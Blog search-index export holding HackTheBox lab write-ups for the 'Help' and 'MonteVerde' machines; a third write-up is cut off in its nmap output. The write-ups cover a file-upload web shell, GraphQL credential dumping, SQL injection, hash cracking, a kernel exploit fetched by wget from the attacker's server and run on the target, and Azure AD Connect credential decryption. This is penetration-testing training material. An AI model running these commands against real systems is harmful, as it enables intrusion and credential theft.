[{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/apache/","section":"Tags","summary":"","title":"Apache","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/code-review/","section":"Tags","summary":"","title":"Code-Review","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/curl/","section":"Tags","summary":"","title":"Curl","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/dfunc-bypasser/","section":"Tags","summary":"","title":"Dfunc-Bypasser","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/easy_install/","section":"Tags","summary":"","title":"Easy_install","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/","section":"Emil Pawlak","summary":"","title":"Emil Pawlak","type":"page"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/eval/","section":"Tags","summary":"","title":"Eval()","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/extension-bypass/","section":"Tags","summary":"","title":"Extension-Bypass","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/ffuf/","section":"Tags","summary":"","title":"Ffuf","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/file-upload-bypass/","section":"Tags","summary":"","title":"File-Upload-Bypass","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/git-dumper/","section":"Tags","summary":"","title":"Git-Dumper","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/gtfobins/","section":"Tags","summary":"","title":"Gtfobins","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/categories/hackthebox/","section":"Categories","summary":"","title":"HackTheBox","type":"categories"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/header-manipulation/","section":"Tags","summary":"","title":"Header-Manipulation","type":"tags"},{"content":" Enumeration nmap As usual I start with a nmap scan that runs in the background. nmap scan results Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST Nmap scan report for 10.129.230.159 Host is up (0.028s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA) | 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA) |_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519) 80/tcp open http Apache httpd 2.4.18 |_http-title: Did not follow redirect to http://help.htb/ |_http-server-header: Apache/2.4.18 (Ubuntu) 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/18%OT=22%CT=1%CU=37591%PV=Y%DS=2%DC=I%G=Y%TM=69E3891 OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ OS:(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=108%TI=Z% OS:CI=Z%II=I%TS=A)SEQ(SP=108%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2S OS:T11NW7%O2=M4E2ST11NW7%O3=M4E2NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M OS:4E2ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y OS:%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q= OS:)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD= OS:0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU OS:D=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.55 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST Nmap scan report for help.htb (10.129.230.159) Host is up (0.029s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST Nmap scan report for help.htb (10.129.230.159) Host is up (0.028s latency). Not shown: 999 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc Nmap done: 1 IP address (1 host up) scanned in 1009.37 seconds I inputted the ip into the browser, it changed into \u0026ldquo;help.htb\u0026rdquo; domain so I added it into my /etc/hosts file. Running nmap scan shows that there are 3 ports opened - 22, 80 and 3000. HTTP shows a default apache2 page. Port 3000 shows a JSON file with a message \u0026ldquo;Hi Shiv, To get access please find the credentials with given query\u0026rdquo;.\nI ran a directory scan on both ports ffuf -u http://help.htb:3000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt and checked for any subdomains with ffuf -u http://help.htb:3000/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H \u0026quot;Host: FUZZ.help.htb\u0026quot; -fs 81.\nI found additional subdirectories on port 80:\nserver-status javascript support I also tried out feroxbuster with feroxbuster -u http://help.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --filter-status 404 --dont-filter command.\nffuf showed me that there is a support directory which hosts helpdeskz, forexbuster also showed me that there is an upload page on it. I looked online and with defaultcreds (creds search helpdesk) but I didn\u0026rsquo;t find anything for this ticketing dashboard.\nFoothold Searchsploit shows that there is some arbitrary file upload public exploit, I will check it out. I can\u0026rsquo;t find what version I\u0026rsquo;m using but this exploit works on helpdeskz\u0026rsquo;s version 1.0.2 - https://www.exploit-db.com/exploits/40300.\nI found this python port of this exploit - https://github.com/trevlee/helpdeskz_exploit\nI tested this exploit a few times and looked around other forks of it - there is some nuance to it.\nFirstly, you need to provide a \u0026ldquo;baseUrl\u0026rdquo; for the exploit. I assumed that \u0026ldquo;base\u0026rdquo; url would be \u0026ldquo;http://help.htb/support\" in that case, but that\u0026rsquo;s not true. When I ran a script I never got any successful hits with it. Then I thought that maybe it expects the form URL with all it\u0026rsquo;s GET parameters like http://help.htb/support/?v=submit_ticket\u0026amp;action=displayForm but it had an opposite effect - everything was a false-positive.\nThen I was reading some fork version of the script and noticed that author was accessing http://help.htb/support/uploads/tickets/ which finally worked.\nAnother issue was the shell\u0026rsquo;s file. When I attempted to attach a .php shell or similar the form always thrown out an error. The only format it seemed to accept was .txt which redirected me out. I doubled my extensions like so .php.txt and it seemed to go through but the exploit never saw those shells. Only after I while I randomly tried to catch a failed form with a plain .php extension and it worked. Seems like the form doesn\u0026rsquo;t really discard those forms - crazy logic error.\nazaeir@parrot (~/Desktop/htb/machines/help/helpdeskz_exploit): python3 exploit http://help.htb/support/uploads/tickets/ shell.php Helpdeskz v1.0.2 - Unauthenticated shell upload exploit found! http://help.htb/support/uploads/tickets/bd42427925a14e4cf6e46a11468bc98c.php I also couldn\u0026rsquo;t make a reverse shell work so instead I just uploaded a simple php web shell. With it I got access as the help user and got a user flag.\nI decided to try the revshell route again and first I got a never before seen error about a detection of a server side request forgery, but after I refreshed it worked.\nAccount is in some interesting groups uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)\nLooking around the filesystem I didn\u0026rsquo;t find anything interesting besides the help\u0026rsquo;s directory so I dug deeper into it. In /home/help/help/src I found what looks to be the source of the message from port 3000. It asked me to use a query to look for credentials so I ran grep -rni \u0026quot;pass\u0026quot; . and I found this information\n./graphql/schema/resolvers/index.js:1:const user = { username:\u0026#39;helpme@helpme.com\u0026#39;, password:\u0026#39;5d3c93182bb20f07b994a7f617e99cff\u0026#39; } ./graphql/schema/types/user.graphql:4: password: String I tried to use those credentials on the only login form I know so on port 80 but it didn\u0026rsquo;t work - same goes for ssh.\nFrom what I\u0026rsquo;m checking it seems like the software on 3000 Express powered by Node.js running GraphQL. GraphQL is the key part here, it allows me to talk to the servers database. Think of this setup like a normal SQL (preferably MySQL) database. To talk with GraphQL you need to call it and request specific data from its entry points and need to follow syntax.\nSo, I could use BurpSuite or some tools that help with graphql but I decided to use curl here.\nThe intended way to get this data was likely to query the server with GraphQL. Keeping that MySQL analogy in mind, to first know what databases there are. If a server or a company is big there might be multiple databases, but here there is only one so we can skip this aspect.\nAfter databases, I would like to know what tables are in that database, this can be done with such command:\nazaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;query\u0026#34;:\u0026#34;{ __schema { types { name } } }\u0026#34;}\u0026#39; {\u0026#34;data\u0026#34;:{\u0026#34;__schema\u0026#34;:{\u0026#34;types\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;Query\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;User\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Schema\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Type\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__TypeKind\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Boolean\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Field\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__InputValue\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__EnumValue\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Directive\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__DirectiveLocation\u0026#34;}]}}}% The important part is in the -d flag. Inside, there is a JSON enveloped GraphQL query which asks the database (__schema) what tables are there ({ types { name } }) inside of it.\nSeeing the output I can see a number of \u0026ldquo;tables\u0026rdquo;. Schema and default ones are usually prefixed with __. From that output I see a \u0026ldquo;table\u0026rdquo; named \u0026ldquo;Users\u0026rdquo; and I would like to access it. Problem is, I don\u0026rsquo;t know the structure inside of it. To enumerate it, I can just the below command. Remember, that the important part is inside the -d flag:\nazaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;query\u0026#34;:\u0026#34;{ __type(name:\\\u0026#34;User\\\u0026#34;) { fields { name } } }\u0026#34;}\u0026#39; {\u0026#34;data\u0026#34;:{\u0026#34;__type\u0026#34;:{\u0026#34;fields\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;username\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;password\u0026#34;}]}}}% ``` This output shows me, that there is a \u0026ldquo;username\u0026rdquo; and \u0026ldquo;password\u0026rdquo; column - or an entry point.\nNow, knowing what columns I can query, I can search for that with this command:\nazaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H \u0026#34;Content-Type: application/json\u0026#34; -d \u0026#39;{\u0026#34;query\u0026#34;:\u0026#34;{ user { username password } }\u0026#34;}\u0026#39; {\u0026#34;data\u0026#34;:{\u0026#34;user\u0026#34;:{\u0026#34;username\u0026#34;:\u0026#34;helpme@helpme.com\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;5d3c93182bb20f07b994a7f617e99cff\u0026#34;}}}% Anyway, as the message said \u0026ldquo;To get access please find the credentials\u0026rdquo; and I got the credentials I need to think for what those creds could be. I already checked the helpdeskz and ssh, but my correct suspicion is that they are likely for the express database itself. Express is however just an HTTP server. It natively doesn’t have a built-in authentication system so my only way in could still be GraphQL queries.\nI wanted to authenticate with GraphQL but there looking at my previous output there is no \u0026ldquo;Mutations\u0026rdquo; table. Which would be needed for API to accept any credentials in the first place. I though about other possible ways to authenticate to Express and I thought that my password might be in fact an MD5 hash. I ran it though hashcat with -m 0 and to my silly surprise it is. the password in reality is \u0026ldquo;godhelpmeplz\u0026rdquo;.\nThis credentials worked on the helpdeskz platform this time. Inside, I can see a new tab \u0026ldquo;My Tickets\u0026rdquo; but it and all other tabs don\u0026rsquo;t show any new data.\nThat new tab requires me to input a ticket id and search. Maybe there is like an \u0026ldquo;IDOR\u0026rdquo; vulnerability for it. It\u0026rsquo;s not really an idor but I digress. I opened this site with burp, created a small wordlist with number using for i in {0..10000}; do echo \u0026quot;$i\u0026quot;; done \u0026gt; numbers.txt; and looked for website size difference. There was just one difference for id 0 but it was just another error. I realized that those ids are not simple number but are encoded same as I did in my foothold - #6DA-F2B-8D321 etc.\nPrivilege Escalation I remembered when looking for helpdeskz exploits to file upload I stumbled upon SQL injection. I have a feeling that it could be my way into priv-esc. This repo seems like will work. It also mentions the correct version. I followed the steps from the repository I got a few errors like this:\n(myvenv) azaeir@parrot (~/Desktop/htb/machines/help/HelpdeskZ-Authenticated-SQL-injection): ./helpdeskz-sql-injection.py \u0026#34;http://help.htb/support/\u0026#34; \u0026#34;helpme@helpme.com\u0026#34; \u0026#34;godhelpmeplz\u0026#34; (+) Csrfhash: \u0026#34;7a42706d1baa866ce4216464bb815971\u0026#34; . (+) Ticket link: \u0026#34;http://help.htb/support/?v=view_tickets\u0026amp;action=ticket\u0026amp;param[]=9\u0026#34; . (-) Failed to fetch the full vulnerable url. (-) This may be due to an existing ticket\u0026#39;s lack (-) lack of file attachment. (-) Delete file-less ticket and create one with (-) a file attached to it! (-) Response: b\u0026#39;\u0026lt;!DOCTYPE html PUBLIC \u0026#34;-//W3C//DTD XHTML But it just turned out that I need to create a ticket as an authenticated user. When I ran the above command again I got admin credentials - admin:d318f44739dced66793b1a603028133a76ae680e. Interestingly, this repo seems to be using error based sql injection and from the looks of it, it was created specifically for this box which kinda defeats the purpose of using it.\nI ran the admin\u0026rsquo;s password hash through hashcat, first with just hashcat admin.hash /usr/share/wordlists/rockyou.txt and then hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt when I learned that it\u0026rsquo;s SHA1 - admin:Welcome1.\nI use the admin credentials to ssh into the host but it didn\u0026rsquo;t work, I also tried it on helpdeskz and same results. I used variants with and without the domain to no avail. I decided to run the script again and guess other columns like \u0026ldquo;email\u0026rdquo; and \u0026ldquo;id\u0026rdquo;. I found an email support@mysite.com but it still doesn\u0026rsquo;t work.\nI took a break and came back with new power. I decided to go over my linux priv-escalation before i run linPEAS.\nWith uname -a I got information about the linux and with searchsploit 4.4.0-116 I noticed that there is a local privilege escalation vulnerability related to this kernel version.\nI found this article that talks about an exploit. I followed the steps mentioned there and just slightly adjusted the recommendations. I download the exploit with searchsploit -m linux/local/44298.c. Then i compile it with gcc -static 44298.c -o exploit.c. -static also compiles the exploit with all libraries it might need. I start a python server python3 -m http.server 1338. Look for a directory where I\u0026rsquo;m able to download the exploit. I can in cd /tmp. I download the exploit with wget http://10.10.15.189:1338/exploit.c. Make it executable with chmod +x exploit.c. And run ./exploit.c.\nWith these steps I get a root shell and find the root flag in their home directory.\nClosing Thoughts Help shows a number or niche techniques and pivoting options, it keeps on showing interesting attack vectors but doesn\u0026rsquo;t become annoying or unnecessary complicated at any point. It\u0026rsquo;s fun and enjoyable through the whole time. It also has a few ways to be solved which is always fun to try after the initial root. At some points there is an opportunity for some minor rabbit holes - which I of course found - but it was a good reminder to not be afraid to go a few steps back and double-check your notes.\n","date":"18.04.2026","externalUrl":null,"permalink":"/posts/htb/help/","section":"Posts","summary":"Help shows a number or niche techniques and pivoting options, it keeps on showing interesting attack vectors but doesn’t become annoying or unnecessary complicated at any point. It’s fun and enjoyable through the whole time. It also has a few ways to be solved which is always fun to try after the initial root. At some points there is an opportunity for some minor rabbit holes - which I of course found - but it was a good reminder to not be afraid to go a few steps back and double-check your notes.","title":"Help","type":"posts"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/input/","section":"Tags","summary":"","title":"Input()","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/categories/linux/","section":"Categories","summary":"","title":"Linux","type":"categories"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/nmap/","section":"Tags","summary":"","title":"Nmap","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/categories/oscp/","section":"Categories","summary":"","title":"OSCP","type":"categories"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/categories/pentesting/","section":"Categories","summary":"","title":"Pentesting","type":"categories"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/phar-wrapper/","section":"Tags","summary":"","title":"Phar-Wrapper","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/php/","section":"Tags","summary":"","title":"Php","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/proc_open/","section":"Tags","summary":"","title":"Proc_open()","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/python/","section":"Tags","summary":"","title":"Python","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/python2/","section":"Tags","summary":"","title":"Python2","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/ssh/","section":"Tags","summary":"","title":"Ssh","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/suid/","section":"Tags","summary":"","title":"Suid","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"18.04.2026","externalUrl":null,"permalink":"/categories/write-up/","section":"Categories","summary":"","title":"Write-Up","type":"categories"},{"content":"","date":"17.04.2026","externalUrl":null,"permalink":"/categories/active-directory/","section":"Categories","summary":"","title":"Active Directory","type":"categories"},{"content":" Enumeration nmap I ran a nmap scan and there are typical AD related ports open.\nnmap scan results Nmap scan report for 10.129.228.111 Host is up (0.029s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-16 20:44:37Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 Aggressive OS guesses: Windows Server 2019 (97%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2026-04-16T20:44:45 |_ start_date: N/A OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 59.13 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 22:45 CEST Nmap scan report for 10.129.228.111 Host is up (0.029s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49676/tcp open unknown 49693/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 114.87 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 22:47 CEST Nmap scan report for MEGABANK.LOCAL (10.129.228.111) Host is up (0.031s latency). Not shown: 996 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap Nmap done: 1 IP address (1 host up) scanned in 28.08 seconds nmap also shows the domain name - MEGABANK.LOCAL. I added it into my /etc/hosts file.\nQuick checks I checked smb for null session and it connects but fail - netexec shows that it throws an \u0026ldquo;access denied\u0026rdquo; error. I tried a rid brute attack and guest\u0026rsquo;s account seems to be disabled.\nWith dig reading the SOA records I found out that the domain controller\u0026rsquo;s domain is \u0026ldquo;monteverde.MEGABANK.LOCAL\u0026rdquo; - I also added it into my file.\nldapsearch Luckily anonymous ldapsearch works so with the ldapsearch -x -H ldap://10.129.228.111 -b \u0026quot;DC=MEGABANK,DC=LOCAL\u0026quot; command I was able to dump a ton of data. I scoped it in with ldapsearch -x -H ldap://10.129.228.111 -b \u0026quot;DC=MEGABANK,DC=LOCAL\u0026quot; \u0026quot;(objectClass=user)\u0026quot; sAMAccountName cn mail.\nUsers:\nCommon names: AAD_987d7f2f57d2 Mike Hope SABatchJobs svc-ata svc-bexec svc-netapp Dimitris Galanos Ray O\u0026#39;Leary Sally Morgan sAM names: AAD_987d7f2f57d2 mhope SABatchJobs svc-ata svc-bexec svc-netapp dgalanos roleary smorgan I made a wordlist with those sam names and ran it against kerberos with impacket tools. Firstly I want to check for any as-rep roastable users as this doesn\u0026rsquo;t require valid credentials. To check for it I ran GetNPUsers.py MEGABANK.LOCAL/ -usersfile users.txt -no-pass.\n[-] User AAD_987d7f2f57d2 doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User mhope doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User SABatchJobs doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User svc-ata doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User svc-bexec doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User svc-netapp doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User dgalanos doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User roleary doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User smorgan doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set Sadly all users require pre authentication meaning they are not vulnerable.\nI will now try to bruteforce some common passwords against my user list with netexec smb 10.129.228.111 -u users.txt -p /usr/share/wordlists/SecLists/Passwords/Common-Credentials/10k-most-common.txt.\nI had it running in the background for a while but it failed and timed out. I suspect that if it was the meant pathway it would fine the password much quicker.\nFoothold I went back on my steps looking for anything I might\u0026rsquo;ve missed and I again started to bruteforce. This time I created a custom list having data of users, their username variants and the domain name and I got one hit - SABatchJobs:SABatchJobs. I checked those credentials with netexec and they work with smb, wmi and ldap. I ran netexec smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' --shares to see what I can access now.\n[*] Enumerated shares Share Permissions Remark ----- ----------- ------ ADMIN$ Remote Admin azure_uploads READ C$ Default share E$ Default share IPC$ READ Remote IPC NETLOGON READ Logon server share SYSVOL READ Logon server share users$ READ There are some custom shares which are interesting. I reviewed all that I could read and I only found \u0026ldquo;azure.xml\u0026rdquo; in the users$ share. From what I gathered this is a serialized Azure AD credential object and it stores a password for something, I assume some service, let\u0026rsquo;s find out - 4n0therD4y@n0th3r$.\nWith netexec smb 10.129.228.111 -u users.txt -p 4n0therD4y@n0th3r$ I found it belongs to mhope. I got smb, winrm, ldap and wmi access.\nI checked the smb access and there was nothing new that SABatchJobs didn\u0026rsquo;t see. I looked into the account with evil-winrm and found the user\u0026rsquo;s flag on the Desktop. I then looked around and found an .Azure folder which seems interesting but before I check it out more in depth I will run bloodhound to gather as much data about the AD as I can. bloodhound-python -u mhope -p '4n0therD4y@n0th3r$' -d MEGABANK.LOCAL -dc monteverde.MEGABANK.LOCAL -ns 10.129.228.111 -c all; rusthound-ce -d MEGABANK.LOCAL -u mhope -p '4n0therD4y@n0th3r$' --zip -c All\nWith it I didn\u0026rsquo;t find much, however I noticed that mhope is a part of a \u0026ldquo;AZURE ADMINS@MEGABANK.LOCAL\u0026rdquo; group which seems pretty out of place. And it\u0026rsquo;s also kinda weird because it doesn\u0026rsquo;t seem to have any interesting permissions.\nIn .Azure folder I found Azure related files. These files seem to be used by Azure to store cached sessions and tokens, so users can stay signed in without re-entering credentials.\nI gathered some basic data about the user of this session:\n\u0026#34;User\u0026#34;: { \u0026#34;Name\u0026#34;: \u0026#34;John Clark\u0026#34;, \u0026#34;UPN\u0026#34;: \u0026#34;john@a67632354763outlook.onmicrosoft.com\u0026#34;, \u0026#34;IP\u0026#34;: \u0026#34;46.4.223.173\u0026#34; } From what I gathered this seems to be kinda like opening old tmux sessions. I can use Get-AzContext and see that there is some session as the John user.\nPrivilege Escalation I\u0026rsquo;m not super familiar with actually testing Azure. Because of that I stepped back and read about it. Here are some good reads: adamtheautomator.com Github - andreipintica labs.reversec.com\nI looked for ways to exploit azure, some of them mentioned the use of mimikatz but I wasn\u0026rsquo;t able to lunch it on the target host. I tried to use Set-ExecutionPolicy Bypass -Scope Process but it didn\u0026rsquo;t work.\nFound this great read or possible exploits of Azure AD Connect. I considered Azure AD Connect because of the weird \u0026ldquo;AAD_987d7f2f57d2\u0026rdquo; account and tried to understand what is it related to. Tried adconnectdump but it didn\u0026rsquo;t work. Likely because lack of access of mhope to RPC. Tried AdSyncDecrypt. At first *Evil-WinRM* PS C:\\Program Files\\Microsoft Azure AD Sync\\Bin\u0026gt; C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe didn\u0026rsquo;t work but *Evil-WinRM* PS C:\\Program Files\\Microsoft Azure AD Sync\\Bin\u0026gt; C:/Users/mhope/Desktop/AdDecrypt/AdDecrypt.exe -FullSQL did - I guess AD Connect just used the full db here. For it all to work I just had to follow instructions from the git repo so I recommend checking it out.\nWith this, I now have decrypted admin credentials:\nDECRYPTED CREDENTIALS: Username: administrator Password: d0m@in4dminyeah! I blindly tried them out with evil-winrm and they worked. I found a root flag on the Desktop.\nClosing Thoughts MonteVerde is a pretty straightforward machine, it shows a niche technique of privilege escalation with Azure AD Connect but besides it, it\u0026rsquo;s pretty typical in terms of pivoting, enumeration, and gaining the foothold. Still, there aren\u0026rsquo;t many boxes that touch Azure so it was really interesting to explore it.\nFor me personal lessons learned: I need to keep practicing not splitting my attention on different possible vectors and try to feel and have an instinct what could be the expected path of attack - KISS.\n","date":"17.04.2026","externalUrl":null,"permalink":"/posts/htb/monteverde/","section":"Posts","summary":"MonteVerde is a pretty straightforward machine, it shows a niche technique of privilege escalation with Azure AD Connect but besides it, it’s pretty typical in terms of pivoting, enumeration, and gaining the foothold. Still, there aren’t many boxes that touch Azure so it was really interesting to explore it.","title":"MonteVerde","type":"posts"},{"content":"","date":"17.04.2026","externalUrl":null,"permalink":"/categories/windows/","section":"Categories","summary":"","title":"Windows","type":"categories"},{"content":" Enumeration nmap I start with a nmap scan - sudo nmap -sC -sV -Pn -O ; sleep 5; sudo nmap -p- -Pn; sleep 5; sudo nmap -sU -Pn nmap scan results Nmap scan report for 10.129.227.77 Host is up (0.029s latency). Not shown: 991 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_02-28-22 07:35PM \u0026lt;DIR\u0026gt; Users 22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0) | ssh-hostkey: | 3072 c7:1a:f6:81:ca:17:78:d0:27:db:cd:46:2a:09:2b:54 (RSA) | 256 3e:63:ef:3b:6e:3e:4a:90:f3:4c:02:e9:40:67:2e:42 (ECDSA) |_ 256 5a:48:c8:cd:39:78:21:29:ef:fb:ae:82:1d:03:ad:af (ED25519) 80/tcp open http |_http-title: Site doesn't have a title (text/html). | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | \u0026lt;!DOCTYPE html PUBLIC \u0026quot;-//W3C//DTD XHTML 1.0 Transitional//EN\u0026quot; \u0026quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\u0026quot;\u0026gt; | \u0026lt;html xmlns=\u0026quot;http://www.w3.org/1999/xhtml\u0026quot;\u0026gt; | \u0026lt;head\u0026gt; | \u0026lt;title\u0026gt;\u0026lt;/title\u0026gt; | \u0026lt;script 